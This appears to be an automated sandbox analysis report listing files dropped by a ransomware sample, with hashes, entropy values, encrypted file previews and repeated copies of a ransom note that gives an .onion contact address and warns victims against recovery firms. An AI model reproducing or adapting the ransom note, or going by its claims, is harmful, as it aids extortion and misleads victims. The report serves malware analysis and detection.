SHA-512:	EA99797AB6D1521887FF9F0F2B5B1EAD38D003F14F5E70737C9965DFCC318DEBF78EB29708EE54156FE5DE7919EFF74F676F2BBE2148472CE3B0BBC3767CD1ED
Malicious:	false
Preview:	..V7..CP..8..]C...&o.".i...w9.jdT0.l.{P7}..FxA...t.....F......V7..AP..8..IC..9/$..% .V.....<...L`.l..6.b..v.R'.......?....Vt..A...w1..=+.....".IEJ.H........Z.l..6.c..v.R'.....F.9@...VE..A7...Yv.]c......"zI..........cZ(l....L....v.R....7.w.9.=..V7..A8..8v.].M.p..mE..o6..........;..u.b...vy_%.....F......V7..AP.,..w.],......"sI..1.......iZ+l..6.z...vU.-..).f.h.w..9O..95..1v.].......u......N.......ZDl..6.b..vu....l.4.k.c..VO..A5...]v.]Y...;..".I............ZDl..l.b..v.R'....oV.......g..&"..~..80F.....N~i.cb.......i5<B..S.b...X..'>....F(.....7...P...8..0C:.`..N.,...[.....6D...6.b......7'v...FZ....$7..'P...8X.8Cb.`.a.s...W.....;D...6.b......!'L...F\|....:7..aP...8..8C\|.`..B.I....u.......>!...Y.O...F. '....w.tH-c.../....~t\|Y...^....N.w..TRu.M...s.......PW.s^.._,i.....F......gd..x...O......!M3.I.........;1.Zql..3.b..v.C'.....F>.....`7..qP...8B..C)..`..`.I...........\....rP..s.6...h}...Fn....H.....K...YM...?...................&O.s

C:\Users\Public\Desktop\Firefox.lnk.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1307
Entropy (8bit):	7.345433538538818
Encrypted:	false
SSDEEP:
MD5:	A17DD9D43D5D7405D071195DEF19708B
SHA1:	547126AC9F5E1AF22A7A427BBE20B38017B53429
SHA-256:	8EE41DA180F785985AA5C59B31A7B44D6C13F2C2655E325910EE679BBE099D3A
SHA-512:	EA99797AB6D1521887FF9F0F2B5B1EAD38D003F14F5E70737C9965DFCC318DEBF78EB29708EE54156FE5DE7919EFF74F676F2BBE2148472CE3B0BBC3767CD1ED
Malicious:	false
Preview:	..V7..CP..8..]C...&o.".i...w9.jdT0.l.{P7}..FxA...t.....F......V7..AP..8..IC..9/$..% .V.....<...L`.l..6.b..v.R'.......?....Vt..A...w1..=+.....".IEJ.H........Z.l..6.c..v.R'.....F.9@...VE..A7...Yv.]c......"zI..........cZ(l....L....v.R....7.w.9.=..V7..A8..8v.].M.p..mE..o6..........;..u.b...vy_%.....F......V7..AP.,..w.],......"sI..1.......iZ+l..6.z...vU.-..).f.h.w..9O..95..1v.].......u......N.......ZDl..6.b..vu....l.4.k.c..VO..A5...]v.]Y...;..".I............ZDl..l.b..v.R'....oV.......g..&"..~..80F.....N~i.cb.......i5<B..S.b...X..'>....F(.....7...P...8..0C:.`..N.,...[.....6D...6.b......7'v...FZ....$7..'P...8X.8Cb.`.a.s...W.....;D...6.b......!'L...F\|....:7..aP...8..8C\|.`..B.I....u.......>!...Y.O...F. '....w.tH-c.../....~t\|Y...^....N.w..TRu.M...s.......PW.s^.._,i.....F......gd..x...O......!M3.I.........;1.Zql..3.b..v.C'.....F>.....`7..qP...8B..C)..`..`.I...........\....rP..s.6...h}...Fn....H.....K...YM...?...................&O.s

C:\Users\Public\Desktop\Google Chrome.lnk

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2666
Entropy (8bit):	7.234840880385774
Encrypted:	false
SSDEEP:
MD5:	0289F9BCB323192C30EA5D09FD5D8272
SHA1:	F09218C226552EBDAABCA4D70715BC31094C44E0
SHA-256:	9EA7645BBCF168125A5501BE0883C2CF14AF7894C00E866916F136204C0EBA8F
SHA-512:	99C13C4B45ECD90E1D270A76F51A3638128C0AE734B5A6CD89B20348CF5D18667B1340F073BB62E8AF6ABC742A6C2CFA730A91642FEB7D4DFC7ED32818380A79
Malicious:	false
Preview:	M.G.a...H:}...{.j.e.."..p>.q..1.o..0P.x...}.s..4G.........L.N..G.`...H:}...o.u......`.urR.-.......<..0qO..I.F..=....q.}.N..G.7U..Hj/.iQ:.[.e.i."...5..Y..o....<..0pO..I.F..=......%v.._G.`..HH}..n{.j.e.i."...>.z..n.......'<..0_Of.%...=.....{.v.>G.`..H.}...{.=.3.i.M...[.zl.....Fl..Yj..P_O...8G..=......L.N..G.`..cP}..l{.j.e.i."..f>.zc.......[<.._...w.O..=.K.......a!G.`...H:}...{.j.e.i."..p>eB..^.......&<..0gOb.x.F..=.......MF..Q..H3}....=.3.>.B..p>H.S........K<..0qO....`..=....%.-.nG.`..HT}...{.j.e..."....z1.o..j....K<..0uO...S.j.......TO..G.`...H:}...{.j.e..."...>.z=.p......3<..0kO..-.F..=......P.N."G.`...HY}...{.j.e.i.d.~`>.zR.'..}...&...U..Ed&..~........>mf$......Y..An......i."...>.z7.n......#<..08Ol.=.#..=....w.`.!G.`...Hf}..-{.j.e.i."...>.z?.=........<...06Om.&.!..=....$.<.`G.`..H{}..s{.j.e.i."...>.z<.A......$<...0_Og.1.#..=......<.`G.`..HW}..E{.j.e.i."..7>.z=.z.......<...0.Oo.,....=....%.-.nG.`..HT}-..{.j.e.i."...>.z7.0.......?

C:\Users\Public\Desktop\Google Chrome.lnk.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2666
Entropy (8bit):	7.234840880385774
Encrypted:	false
SSDEEP:
MD5:	0289F9BCB323192C30EA5D09FD5D8272
SHA1:	F09218C226552EBDAABCA4D70715BC31094C44E0
SHA-256:	9EA7645BBCF168125A5501BE0883C2CF14AF7894C00E866916F136204C0EBA8F
SHA-512:	99C13C4B45ECD90E1D270A76F51A3638128C0AE734B5A6CD89B20348CF5D18667B1340F073BB62E8AF6ABC742A6C2CFA730A91642FEB7D4DFC7ED32818380A79
Malicious:	false
Preview:	M.G.a...H:}...{.j.e.."..p>.q..1.o..0P.x...}.s..4G.........L.N..G.`...H:}...o.u......`.urR.-.......<..0qO..I.F..=....q.}.N..G.7U..Hj/.iQ:.[.e.i."...5..Y..o....<..0pO..I.F..=......%v.._G.`..HH}..n{.j.e.i."...>.z..n.......'<..0_Of.%...=.....{.v.>G.`..H.}...{.=.3.i.M...[.zl.....Fl..Yj..P_O...8G..=......L.N..G.`..cP}..l{.j.e.i."..f>.zc.......[<.._...w.O..=.K.......a!G.`...H:}...{.j.e.i."..p>eB..^.......&<..0gOb.x.F..=.......MF..Q..H3}....=.3.>.B..p>H.S........K<..0qO....`..=....%.-.nG.`..HT}...{.j.e..."....z1.o..j....K<..0uO...S.j.......TO..G.`...H:}...{.j.e..."...>.z=.p......3<..0kO..-.F..=......P.N."G.`...HY}...{.j.e.i.d.~`>.zR.'..}...&...U..Ed&..~........>mf$......Y..An......i."...>.z7.n......#<..08Ol.=.#..=....w.`.!G.`...Hf}..-{.j.e.i."...>.z?.=........<...06Om.&.!..=....$.<.`G.`..H{}..s{.j.e.i."...>.z<.A......$<...0_Og.1.#..=......<.`G.`..HW}..E{.j.e.i."..7>.z=.z.......<...0.Oo.,....=....%.-.nG.`..HT}-..{.j.e.i."...>.z7.0.......?

C:\Users\Public\Desktop\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\Public\Documents\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\Public\Downloads\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\Public\Libraries\RecordedTV.library-ms

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1313
Entropy (8bit):	7.583928905756407
Encrypted:	false
SSDEEP:
MD5:	D834C52769DBC73248409EF15E189DD6
SHA1:	5BEFF835D134021FF8D04F051EE278F772BC6F66
SHA-256:	32CACFEDAA597A0A34DCD63CABD4AF23764E5B6E499DAF64DD12CB18B170EE05
SHA-512:	922E2288BD3326A48189B1570643A0BB6A3F6BEFF9F2AF7D90AA49D21B8552289F99AA554F6D0293AF78A28B6669B874197699E7EC0DA540D0F2869E94524E89
Malicious:	false
Preview:	eDe....w........r...!.\^.f.....,..}.%..... .JN.k...-....m.F?....(TP..y../....=.@U...8....z..4........;.\|J.qAP.S....!2.(B..9@?:..G........b..7...g.....T..&.C.....~.=..9VR.7....![eZ0.>[?6..X.........w...{.....4...@R.....7.mN.a...<.....mWtJ-...Y{....t..9....B...........m..-.JX.....n.gX.a...+.....eETq=.......t..3....o......{....F....fx....=....6nd.y....e.+/d....'....%...k....{..Y...b.....p.{..X...4.bO.z7..<.......<.m...[........`....,.pU...8....g...[U....&..!.(CN......n.7.~..2w....a..2...#.@R...y....g..7..L....&.,\|.f.........![y[!..V[?,..T..........p{.......]....a.....r....(_.......n.g;n...!IQ..}...h....`.VI...+.......c.......7.o^.\|0..<.....n.g.o...Y{.;..p....... .RN.e....4....\x....&.aE...........`.0.s....wGP..U..)....!.DT...:.....u..,..1....r.2X.e.........oETq=..V2[_..c..4....?.QV......q..........X....(CR......n.8.t...{.[_..-...=.... .]_...)....}...A.....}.kJ.k.-.7.....E.scriptionList>..</libraryDescription>...

C:\Users\Public\Libraries\RecordedTV.library-ms.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1313
Entropy (8bit):	7.583928905756407
Encrypted:	false
SSDEEP:
MD5:	D834C52769DBC73248409EF15E189DD6
SHA1:	5BEFF835D134021FF8D04F051EE278F772BC6F66
SHA-256:	32CACFEDAA597A0A34DCD63CABD4AF23764E5B6E499DAF64DD12CB18B170EE05
SHA-512:	922E2288BD3326A48189B1570643A0BB6A3F6BEFF9F2AF7D90AA49D21B8552289F99AA554F6D0293AF78A28B6669B874197699E7EC0DA540D0F2869E94524E89
Malicious:	false
Preview:	eDe....w........r...!.\^.f.....,..}.%..... .JN.k...-....m.F?....(TP..y../....=.@U...8....z..4........;.\|J.qAP.S....!2.(B..9@?:..G........b..7...g.....T..&.C.....~.=..9VR.7....![eZ0.>[?6..X.........w...{.....4...@R.....7.mN.a...<.....mWtJ-...Y{....t..9....B...........m..-.JX.....n.gX.a...+.....eETq=.......t..3....o......{....F....fx....=....6nd.y....e.+/d....'....%...k....{..Y...b.....p.{..X...4.bO.z7..<.......<.m...[........`....,.pU...8....g...[U....&..!.(CN......n.7.~..2w....a..2...#.@R...y....g..7..L....&.,\|.f.........![y[!..V[?,..T..........p{.......]....a.....r....(_.......n.g;n...!IQ..}...h....`.VI...+.......c.......7.o^.\|0..<.....n.g.o...Y{.;..p....... .RN.e....4....\x....&.aE...........`.0.s....wGP..U..)....!.DT...:.....u..,..1....r.2X.e.........oETq=..V2[_..c..4....?.QV......q..........X....(CR......n.8.t...{.[_..-...=.... .]_...)....}...A.....}.kJ.k.-.7.....E.scriptionList>..</libraryDescription>...

C:\Users\Public\Libraries\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\Public\Music\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\Public\Pictures\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\Public\Videos\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\Public\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	true
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\user\.curlrc

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	322
Entropy (8bit):	6.010418681036956
Encrypted:	false
SSDEEP:
MD5:	0EEDDBA5F71FC4CDABB9A217BB6920B8
SHA1:	6311F42000931C0A661313535A928A96FFBEDD9E
SHA-256:	11B188DA87577BFC1CD9D000D622D25AAF533622A3C969A60FED00CA49FA97DC
SHA-512:	C3215BF4EE42E4C0413B0CEB36268CD2E0415640181161B68252F0B4DD83736A4CC8C87045F9B94B9E0771CD94BE8E4669D30CBDB42660303391377A661B3A46
Malicious:	false
Preview:	.an.+.....*....<.....P.gon...j....<.....2...0...s..{,C..l.E..W(..."{...L...x@5>..S.....^...~0J..l).......\|..._Z.j..V...F.....mh...Y..I.A.....2.....J........./}a....i.^.q!AyQ...y....8R@.6\|..k.&......B.1.^.............................................................................................29yp10v5m8k.

C:\Users\user\.curlrc.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	322
Entropy (8bit):	6.010418681036956
Encrypted:	false
SSDEEP:
MD5:	0EEDDBA5F71FC4CDABB9A217BB6920B8
SHA1:	6311F42000931C0A661313535A928A96FFBEDD9E
SHA-256:	11B188DA87577BFC1CD9D000D622D25AAF533622A3C969A60FED00CA49FA97DC
SHA-512:	C3215BF4EE42E4C0413B0CEB36268CD2E0415640181161B68252F0B4DD83736A4CC8C87045F9B94B9E0771CD94BE8E4669D30CBDB42660303391377A661B3A46
Malicious:	false
Preview:	.an.+.....*....<.....P.gon...j....<.....2...0...s..{,C..l.E..W(..."{...L...x@5>..S.....^...~0J..l).......\|..._Z.j..V...F.....mh...Y..I.A.....2.....J........./}a....i.^.q!AyQ...y....8R@.6\|..k.&......B.1.^.............................................................................................29yp10v5m8k.

C:\Users\user\.ms-ad\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\user\3D Objects\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\user\AppData\Local\Temp\fkdjsadasd.ico

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	MS Windows icon resource - 1 icon, 64x64, 32 bits/pixel
Category:	dropped
Size (bytes):	16958
Entropy (8bit):	2.9616661784314777
Encrypted:	false
SSDEEP:
MD5:	A1FAD2EA0C8FCBD0875248172BB457E8
SHA1:	648F40B1CC77AB6B34013F696F1C07D7ADF303CF
SHA-256:	2E6C63AB7769F3F7EA2F3622A865D857ECB14D7F2DDBD4AB64E15B6C3DC5E14A
SHA-512:	034DC081B23FC5A42D23AA3CB76A50A329BAD1BC79CCF37A33C9C78CC642D941AE22649879AC43F87077000711CEF0FBECE27C80313F83C53195084CFE6528F2
Malicious:	false
Preview:	......@@.... .(B......(...@......... ......@....................0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...2...0...0...2...0...2...0...0...0...0...0...0...2...0...0...0...0...2...0...2...0...0...0...0...0...0...0...0...2...0...0...0...2...0...0...2...2...0...0...0...2...0...0...0...0...2...0...0...0...2...0...0...0...2...0...0...0...2...0...0...2...0...0...2...0...2...2...0...0...0...0...2...0...2...0...0...0...0...0...0...0...0...0...0...2...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...2...0...0...0...0...2...0...0...0...0...2...0...2...0...0...0...0...0...0...0...2...0...0...0...0...2...0...0...0...0...0...0...0...0...0...0...0.......0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0...0.......0...0...0...0...0...0...0...0...0...0.......

C:\Users\user\AppData\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
